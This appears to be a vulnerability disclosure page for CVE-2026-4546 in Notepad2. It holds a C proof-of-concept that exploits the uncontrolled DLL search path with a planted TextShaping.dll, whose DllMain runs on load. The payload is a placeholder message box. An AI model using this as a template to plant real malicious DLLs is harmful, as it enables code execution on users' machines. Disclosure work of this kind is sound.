CVE-2026-4546 Notepad2 不受控搜索路径漏洞

// PoC for CVE-2026-4546: Uncontrolled Search Path in TextShaping.dll // Compile as TextShaping.dll and place in Notepad2.exe directory #include <windows.h> // Export a dummy function to simulate the missing DLL interface __declspec(dllexport) void DummyExport() {} BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code execution starts here upon loading MessageBoxA(NULL, "CVE-2026-4546 Exploited: Malicious DLL Loaded!", "PoC", MB_OK | MB_ICONWARNING); // Payload execution would go here break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }